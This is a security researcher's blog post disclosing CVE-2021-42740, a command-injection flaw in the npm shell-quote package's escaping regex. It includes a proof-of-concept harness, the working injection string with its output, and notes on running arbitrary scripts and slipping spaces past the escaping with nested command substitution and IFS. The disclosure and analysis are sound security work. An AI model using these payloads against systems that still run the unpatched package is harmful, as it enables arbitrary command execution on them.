Exploiting CVE-2021-42740

2021/10/28

Earlier this month I found a vulnerability in the shell-quote package on npm which would allow command injection in cases where it is indeed used to quote an untrusted input for execution in a shell. This is now fixed, and the details were disclosed in CVE-2021-42740.

Side note: the NVD published its analysis of the CVE today, where they judged the severity to be 9.8 CRITICAL (CVSS 3.x).

In this post, I’ll be sharing a copy of the report I sent to the maintainers through Tidelift and presenting some additional ideas for exploiting this vulnerability.

A copy of the report

I’m writing to report a weakness in shell-quote https://github.com/substack/node-shell-quote that can allow command injection in common use cases.

Tested on Linux, Node.js v14.17.4, shell-quote 1.7.2.

Consider a simple test harness test.js:

const childProcess = require('child_process');

const shellQuote = require('shell-quote');

const untrusted = process.argv[2];
console.log('untrusted', untrusted);
const result = childProcess.execSync(shellQuote.quote(['printf', '%s\n', untrusted]));
console.log('result', result);

The shell-quote package is commonly used to escape untrusted inputs for use in shell commands. This example takes an untrusted input, quotes it, and runs it through a command which prints it back out. We only want this to give back a string, not to allow an untrusted input to run an arbitrary command. Suppose we have this program called pwnme in the path, which if it is executed, we’ve failed our security goal:

#!/bin/sh
touch /tmp/i-am-pwned
echo "oh no"

I’ve found that a weakness in shell-quote can allow an untrusted input to run the pwnme script:

node test.js '`:`pwnme``:`'
ls -l /tmp/i-am-pwned

Output:

untrusted `:`pwnme``:`
/bin/sh: 1: :oh: not found
result <Buffer 3a 60 0a>
-rw-rw-r-- 1 app app 0 Oct 15 03:17 /tmp/i-am-pwned

Note that, although the attack plays with command substitution, the argument is single-quoted and it is not intended to activate as part of the command outside of node. To verify, replace node test.js with a simple echo:

rm -f /tmp/i-am-pwned
echo '`:`pwnme``:`'
ls -l /tmp/i-am-pwned

Output:

`:`pwnme``:`
ls: cannot access '/tmp/i-am-pwned': No such file or directory

The search-and-replace for no-double-quotes-no-spaces-no-single-quotes inputs is as follows:

return String(s).replace(/([A-z]:)?([#!"$&'()*,:;<=>?@\[\\\]^`{|}])/g, '$1\\$2');

It looks like the ([A-z]:)? part is meant to help with Windows drive letters. However due to the layout of ASCII, [A-z] includes A through Z, several symbols [\]^_`, and a through z. This allows segments such as `:` trigger a match of the first capturing group, so that it gets replaced with `:\`. Overall, the input

`:`pwnme``:`

gets incorrectly quoted as

`:\`pwnme\``:\`

In a shell command, this gets parsed and executed as:

`:\`pwnme\``:\`
^^^^^^^^^^^^     command substitution
                   tries to run :`pwnme`
                                ^         literal colon
                                 ^^^^^^^  command substitution
                                            tries to run pwnme
                                              pwnme prints oh no
                   tries to run :oh no
                     :oh command not found, so empty
            ^    literal colon
             ^^  escaped backtick, so literal backtick
                 result is :`

Notes on exploiting

And now here are some additional notes on exploiting this vulnerability.

No quotes, no whitespace

The shell-quote package has other code paths to handle certain strings where it prefers to use single quotes or double quotes.

  1. If the string has double quotes or whitespace (as judged by \s in a regular expression) and has no single quotes, it uses single quotes. This branch looks safe from my reading of the POSIX shell spec, although it over-escapes backslashes.
  2. If the string has single quotes, it uses double quotes. This branch looks safe from my reading of the POSIX shell spec, although it over-escapes exclamation points.
  3. Otherwise, it uses codepath with this vulnerability. The POSIX shell spec suggests additionally to quote ~ and %, which this branch doesn’t. Actually, escaping % sounds like a pretty good idea if the package is meant to work with Windows too.

That is, we reach this vulnerable code path with strings that contain no double quotes, no whitespace, and no single quotes.

Arriving at the exploit in the report

We can start off our input with `:x where x is some character that needs escaping. That gets us into a command substitution, and we can close that off with another `:y, y being another character that needs escaping. This:

`:#something`:#

becomes:

`:\#something`:\#

That makes the first character of our command in the command substitution a colon. That’s not a great start, because then you could only run commands in the PATH that start with a colon. Sure :/true come standard, but that’s the least useful command to run with a command injection attack.

What ends up being more important is that as we enter a backtick-delimited command substitution, the shell starts unescaping some characters: $, `, and \ in POSIX shell. That lets us use a `, which shell-quote will replace with \`, which will then bring us into a nested command substitution with no junk in front.

The x character will get escaped normally, so we might as well use that. We set x = `. We can get `:\` out, which enters that nested command substitution. Now we can put whatever we want after that. We can end that putting a lone ` in the input, which will give the desired \` escaped delimiter in the output. (My markdown escaping skills are on fire, thanks for asking.) This:

`:`something``:#

becomes:

`:\`something\``:\#

In the proof of concept I sent with the report, I used ` as the last character, but there’s no special difference, because it’s escaped.

Accessing programs not in PATH

Although shell-quote escapes characters like / and ., they don’t do anything special at the shell level. So you can just as well enter something like:

`:`/tmp/attacker-supplied.sh``:#

to execute /tmp/attacker-supplied.sh.

Can you get spaces?

Recall that putting any whitespace in the input sends us to another code path that doesn’t have this vulnerability. The same goes for single and double quotes.

I didn’t have to solve the problem of how to execute a command with spaces, because the system I was investigating allowed me to place an executable file on disk, so invoking that file alone was sufficient. But would it be possible to execute a command with spaces? Field splitting happens relatively late, so we have a lot of options to try. But I couldn’t find anything that would be widely available without also putting a lot of other junk in the way.

More command substitution. Being inside a command substitution that counteracts backticks and backslash escaping means we can trivially enter a third layer of command substitution if we wanted. If you could find a command that would print out a space and/or tab, you could use command substitution to make your spaces:

# imagine we're in the clean command substitution
# and a command like this exists
space() { echo ' '; }
# then we could do this
echo`space`a`space`b
# a b

Unfortunately, an output consisting entirely of newlines, e.g. from echo, won’t work, because command substitution strips trailing newlines.

Parameter expansion. Being inside a command substitution also counteracts the $ escaping, so we can use basic parameter expansion. { and } are still escaped, so we can’t do anything too interesting. If you had an environment variable containing a space and/or tab, you could use parameter expansion to make your spaces:

# imagine we're in the clean command substitution
# and a variable like this exists
space=' '
# then we could do this
echo$space\a$space\b
# a b

I hadn’t known this before, but a backslash seems to work for separating a parameter substitution from letters that follow.

IFS sounds promising, as POSIX describes:

The shell shall set IFS to <space> <tab> <newline> when it is invoked.

But I found that in practice, the shells I was using don’t have it set.

Correction: IFS totally works. I had probably done something stupid like echo $IFS | xxd without quotes 🤦.

Context soon 🤞

I said that I would post about the context of my research on this package, but now I want to split that off into yet another post. And I do what I want.

My last post was about either List of every single thing your toothbrush touched before you first put it in your mouth or Command injection through shell-quote. Find out which.